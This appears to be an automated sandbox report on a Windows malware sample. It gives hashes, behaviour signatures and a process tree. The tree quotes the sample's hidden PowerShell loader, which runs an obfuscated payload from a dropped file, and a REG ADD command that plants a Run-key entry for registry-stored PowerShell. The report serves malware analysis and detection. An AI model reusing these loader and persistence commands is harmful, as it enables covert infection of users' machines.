Resubmissions

10/07/2024, 19:23

240710-x3w13sxhqh 8

10/07/2024, 19:21

240710-x2ytaaxhma 10

Analysis

  • max time kernel
    114s
  • max time network
    113s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    10/07/2024, 19:23

General

  • Target

    21a7f19500a40c4302ccff91f9c4aa34b713cc07183cd83ca45852b6a00afd86.exe

  • Size

    488KB

  • MD5

    60b3d713550cd09b16181971027e0df5

  • SHA1

    b5ffb312af1ebc5afd7c7b839fcbd1abaece6503

  • SHA256

    21a7f19500a40c4302ccff91f9c4aa34b713cc07183cd83ca45852b6a00afd86

  • SHA512

    125132cceeb9256b6b64fcaf263187c218ec483296a7ab6cc820cb9ab4e096d0f8c9e064167df67c8fdb91cc9622021374629b8c6795e5d76de3a0c4781c6cab

  • SSDEEP

    12288:R0NwzUrQ2sgRZFh/rRAgYBNL3bHGwkuDvU3BbG:fzSQ25NBONLLQLRC

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\21a7f19500a40c4302ccff91f9c4aa34b713cc07183cd83ca45852b6a00afd86.exe
    "C:\Users\Admin\AppData\Local\Temp\21a7f19500a40c4302ccff91f9c4aa34b713cc07183cd83ca45852b6a00afd86.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Sludrebttes113=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Hormonbalance\Impoverishes.Skj';$Dissimileres198=$Sludrebttes113.SubString(59295,3);.$Dissimileres198($Sludrebttes113)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Users\Admin\AppData\Local\Temp\Paragraphia233.exe
        "C:\Users\Admin\AppData\Local\Temp\Paragraphia233.exe"
        3⤵
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:2308
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Filmologs" /t REG_EXPAND_SZ /d "%heterogametism% -windowstyle minimized $Akkompagneredes=(Get-ItemProperty -Path 'HKCU:\Plotinic\').Vitaminerne;%heterogametism% ($Akkompagneredes)"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1140
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Filmologs" /t REG_EXPAND_SZ /d "%heterogametism% -windowstyle minimized $Akkompagneredes=(Get-ItemProperty -Path 'HKCU:\Plotinic\').Vitaminerne;%heterogametism% ($Akkompagneredes)"
            5⤵
            • Adds Run key to start application
            • Modifies registry key
            PID:2732

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\kilns\Unobtainably\Hormonbalance\Deprivationens.Kok

          Filesize

          325KB

          MD5

          6bec9c5534eb1f475e02527356576362

          SHA1

          b1766b4b752233ea7d31eccd59e877ad0df46654

          SHA256

          261b0be710c8d1692957a8964538011f22dc90177c643bb97fb24f0c341a4d33

          SHA512

          6bf92642cd5431c997855ed9c9a6cc2acd057ec002297f44e6a3607596d58d9727a2079655a3ccbd1566e18010f30c1cc39751235a86cb485e0f4d589ac89a6c

        • C:\Users\Admin\AppData\Local\kilns\Unobtainably\Hormonbalance\Impoverishes.Skj

          Filesize

          71KB

          MD5

          3caa4ac857f4a0000da1b905a819ae72

          SHA1

          bc1bd3a4b5a1b37c1b213d05c9ed8c472a818949

          SHA256

          0d92f75f821620f9df25844a0b43c2be5763799f32a61c68f9baeeebe45560fc

          SHA512

          abe4ec64665c8bc701219fae130e25073a4c76a98dd36cb5dd29e1eefc5d7ceb40e3d0e37dc7d1b2d3d84c4e38437883c09a6523c0d3393730659b220aac8e83

        • \Users\Admin\AppData\Local\Temp\Paragraphia233.exe

          Filesize

          488KB

          MD5

          60b3d713550cd09b16181971027e0df5

          SHA1

          b5ffb312af1ebc5afd7c7b839fcbd1abaece6503

          SHA256

          21a7f19500a40c4302ccff91f9c4aa34b713cc07183cd83ca45852b6a00afd86

          SHA512

          125132cceeb9256b6b64fcaf263187c218ec483296a7ab6cc820cb9ab4e096d0f8c9e064167df67c8fdb91cc9622021374629b8c6795e5d76de3a0c4781c6cab

        • \Users\Admin\AppData\Local\Temp\nso80D.tmp\BgImage.dll

          Filesize

          7KB

          MD5

          521df745a41f0b8164ffd01717cacbba

          SHA1

          dc7a9eacfbeb1fae52091da5e80db6cb1b6bce74

          SHA256

          dbf91707fa157603bea025a6411cdcb497ab11262c9c18b14dc431a45aa17c0b

          SHA512

          c5b1ba062872a8f534e2f0eac57fc3c0d8be9cda79605d86566d67260ba5477444a0ddfed1838b4fb14c677e5342c8419a88fcd38147dbaa36ac1f9e00c52bbe

        • \Users\Admin\AppData\Local\Temp\nso80D.tmp\UserInfo.dll

          Filesize

          4KB

          MD5

          acbda33dd5700c122e2fe48e3d4351fd

          SHA1

          2c154baf7c64052ee712b7cdf9c36b7697dd3fc8

          SHA256

          943b33829f9013e4d361482a5c8981ba20a7155c78691dbe02a8f8cd2a02efa0

          SHA512

          d090adf65a74ac5b910b18bb67e989714335e7b4778cd771cff154d7186351a1bebbc7103cca849bdfa2709c991947ffff6c1d8fdf16a74f4dfb614bce3ff6fd

        • \Users\Admin\AppData\Local\Temp\nso80D.tmp\nsDialogs.dll

          Filesize

          9KB

          MD5

          1c8b2b40c642e8b5a5b3ff102796fb37

          SHA1

          3245f55afac50f775eb53fd6d14abb7fe523393d

          SHA256

          8780095aa2f49725388cddf00d79a74e85c9c4863b366f55c39c606a5fb8440c

          SHA512

          4ff2dc83f640933162ec8818bb1bf3b3be1183264750946a3d949d2e7068ee606277b6c840193ef2b4663952387f07f6ab12c84c4a11cae9a8de7bd4e7971c57

        • memory/2308-54-0x0000000000460000-0x00000000014C2000-memory.dmp

          Filesize

          16.4MB

        • memory/2696-30-0x0000000073BE1000-0x0000000073BE2000-memory.dmp

          Filesize

          4KB

        • memory/2696-36-0x0000000073BE0000-0x000000007418B000-memory.dmp

          Filesize

          5.7MB

        • memory/2696-33-0x0000000073BE0000-0x000000007418B000-memory.dmp

          Filesize

          5.7MB

        • memory/2696-38-0x0000000073BE0000-0x000000007418B000-memory.dmp

          Filesize

          5.7MB

        • memory/2696-39-0x0000000006840000-0x00000000094D3000-memory.dmp

          Filesize

          44.6MB

        • memory/2696-32-0x0000000073BE0000-0x000000007418B000-memory.dmp

          Filesize

          5.7MB

        • memory/2696-44-0x0000000073BE0000-0x000000007418B000-memory.dmp

          Filesize

          5.7MB

        • memory/2696-31-0x0000000073BE0000-0x000000007418B000-memory.dmp

          Filesize

          5.7MB